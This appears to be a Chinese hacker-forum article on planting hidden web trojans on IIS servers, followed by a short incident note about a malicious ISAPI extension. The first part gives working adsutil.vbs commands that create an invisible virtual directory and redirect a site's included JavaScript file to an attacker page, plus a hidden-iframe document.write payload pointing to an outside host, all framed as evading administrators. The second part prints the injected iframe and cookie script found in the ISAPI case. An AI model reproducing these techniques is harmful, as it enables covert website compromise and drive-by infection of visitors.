我写这文章并不是教大家怎么跑去挂马啊,挂马是不对的!不过有的时候真的很想做些让人觉得痛快的事情,因为我就碰到很多的管理员,你跟他说服务器有问题吧!他不信,你改些东西警告他吧,他比你还勤快,你一改他马上覆盖回去,让人真的很郁闷。还有在国外的一些机器上,什么权限都拿到了也不知道他怎么弄的,什么都不让写,好不容易写个文件没一会又改回去了,真的让人很!#$%%#%^#%^,据说就有一种软件能监视重要的文件,一旦发现更改就会给恢复过去,譬如他监视web目录的话我们就不能更改他网站的任何内容了。不过,看了很多大虾的文章,自己也略微研究了下,也总算琢磨点东西出来,不用写任何文件就可以实现将别人的页面涂改和大家经常传说的挂马等等后果,这里就给大家介绍下,那些只知道勤快的管理员也要小心了!
大家知道,我们浏览网站的时候都是服务器将信息处理成Html方式再返回给我们,而我们要实现的是当客户访问的时候能改变他们浏览器的内容,使他隐蔽的执行我们的东西如木马等等。比较常见的方式就是引入Frame,设置属性让他在页面不可见,或者不怕死的用javascript跳转,比较高级点的会利用原代码里的Html元素如script标记或者frame标记,然后在这些标记里引入的其他文件或者页面里做手脚,或者更改某些要在主页上显示的数据库内容,如修改数据库里的公告实现挂马。但是这些都需要在服务器的原代码里加东西或者修改网站的内容,无论是跨站还是直接修改原代码,这都是极其容易被发现的事,遇到一个勤快的管理员,你的东西就在服务器上呆不了多久了!还有就是如果一些页面是不可写的我们也很郁闷,所以有必要寻找一种更隐蔽和更安全的挂马方式解决上面的问题!
我们首先去Iis管理器里看看吧!选中一个页面看看他的属性。呵呵,有个资源重定向吧!如果我们将这个页面选择重定向到我们已经控制的一个页面那么当浏览器请求这个页面的时候将会转而去访问我们定义好的那个页面,如果这个页面是网页木马呢?很显然,访问者就会被挂马!这是很简单的方式,只需要在 IIs里更改页面的重定向就可以了!任何能接触到IIS管理器的人都能轻易做到!但是这样还有问题啊!如果管理员发现页面总被跳转,在检查网站的文件以及用备份等手段恢复还是没有解决问题的时候,他肯定会去IIS里看!一不小心看到主页面的属性就会发现哪里存在问题然后就可以改回去了!
那么我们继续看看有没有更隐藏的方法!借助以前挂马者的方法,既然主页面很容易被发现,那么去看看主页面里的Html标记吧!如果发现有调用其他的页面就好办了!譬如里面主页里有这样的一个标记:
<script src=include/mm2.js></script>
那么我们就有办法了,去修改include/mms2.js的属性吧!,转到我们的某个页面,内容当然要能在script标记里解释的了,如:
document.write("<iframe style='display:none;' src=http://jnclovesw.com width=0 height=0></iframe>");
这样就可以引入我们的页面了!当然最好还是先实现他JS的功能!那样才够隐蔽!现在管理员会发现首页没有更改,去IIs 里看首页的属性也没有更改,甚至主机上的任何www文件都没有修改,他会很郁闷吧!呵呵!如果他只是把以前的网站备份恢复回去也是没有办法把页面改回去的!IIs文件那么多他总不能一个一个看属性吧!这里顺便提个问题,就是你选择重定向过去的文件必须是能被引用他的html标记能解释的,否则是没有效果的!譬如一个<img src=1.jpg>你把1.jpg重定向到我们的木马页面是没有用的,因为木马页面没有被当成Html解析,而是送到img标签里当成图片了!我想到的能利用的标记也就是script还有frame,至于Css,我想也是能利用的,但是利用方法我还没有找到!也不知道我分析得对不对,欢迎大家指教啊!
让我们继续吧!假设万一你的管理员够厉害或者够勤快,他发现了你在mm2.js上面做了手脚,他就会从IIs里面把他恢复过去!我们的梦想又破灭了!有没有更隐蔽的方法呢?让管理员在IIs里面都找不到呢?答案是肯定的!大家一定记得很久前的那个IIS配置漏洞,可以建立一个看不见的虚拟目录,然后在里面建立后门!我们也可以借来利用哦!看看IIS配置漏洞的原理是说建立一个没有物理目录的虚拟目录,这样就会在IIs里不可见,然后就可以在这个目录里做些小动作了!这里我们先建立一个不可见的虚拟目录,如果主页里调用了include文件夹下的js文件,我们就建立include目录吧!这可以借助IIS
的脚本实现,其中adsutil.vbs脚本是在IIs的安装目录如C:/Inetpub/AdminScripts下的,是控制IIS行为的一个脚本,我们用到的命令如下:
cscript adsutil.vbs Create W3SVC/1/Root/www/include "IIsWebVirtualDir"
这样就会建立了个IIs里不可见的虚拟目录,因为没有设置路径所以不会显示哦!然后再在这个目录下建立一个名字叫做mm2.js的虚拟目录,呵呵!居然建立虚拟目录是可以用到.等特殊字符的:
cscript adsutil.vbs Create W3SVC/1/Root/www/include/mm2.js "IIsWebVirtualDir"
这样就存在一个include/mm2.js的虚拟目录了!想到什么了?是不是跟主页里调用的那个文件名字一直的哦!我们继续往下做!
cscript adsutil.vbs set W3SVC/1/Root/www/include/mm2.js/httpredirect "http://jnclovesw.com/mm1.j...
这样是更改mm2.js虚拟目录的重定向特性。注意其中的W3SVC/1/Root/www/代表IIs下的第一个web服务器的www虚拟目录,大家不清楚的话可以用adsutil.vbs的enum参数去查询自己需要更改的网站,其他的操作可以打开 adsutil.vbs脚本的帮助看看!这样操作之后就设置了虚拟目录的重定向特性,现在试着在主页里调用include/mm2.js,你猜猜返回的是 mm2.js的内容还是我们的mm1.js的内容呢?答案是mm1.js,并且物理文件还是存在的!这也许是IIS的特性吧!他首先处理用户的请求,并且虚拟目录优先于物理文件!然后我们去IIS里看看有不有include虚拟目录吧!没有吧!呵呵!这样我们就成功的饶过权限的限制和管理员的检测!将我们的木马挂到了对方的网站上,并且除非对方重做IIs或者删除我们隐藏的虚拟目录,否则他是很难清除我们的木马的!
文章很简单,关键是IIS脚本的命令和对IIs的一些认识,这种挂马方式适合于得到管理员权限之后挂马,对付那些只是勤快的管理员还是很有用的!大家以后发现网站存在问题记得要用这个脚本查看下有不有问题哦!或者干脆把IIS的设置也备份吧!遇到问题把IIs的设置也还原,呵呵!
2.全服务器被挂马 网页源文件中却找不到挂马代码
一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了
<iframe src="http://xxxdfsfd/web.htm&qu... height=0 width=0></iframe>
这种样式的代码 一般在头部 部分杀毒软件打开会报毒
打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码
起初会怀疑是JS 找了半天还是没有发现 连新建的HTML页面 也会有这段代码~
仔细寻找 问题应该在IIS上 打开IIS 重新启动一次 在主IIS上 右键属性 ISAPI 发现一个ISAPI扩展 没见过的
路径为:c:/windows/help/wanps.dll ISAP加载正常 绿色状态
取消 重新启动IIS 所有代码消失
加载项包含了三个文件:
wanps.ini内容为:
Cookie=GAG5=ABCDEFG
Redirector=C:/windows/help/wanps.txt
wanps.txt内容为:
<body>
<iframe src="http://xxx.com/web.htm&quo... height=0 width=0></iframe>
<script language="javascript">
<!--
var expires = new Date();
expires.setTime(expires.getTime() + 5 * 24* 60 * 60 * 1000);
document.cookie="GAG5=ABCDEFG;expires="+expires.toGMTString();
-->
</script>
</body>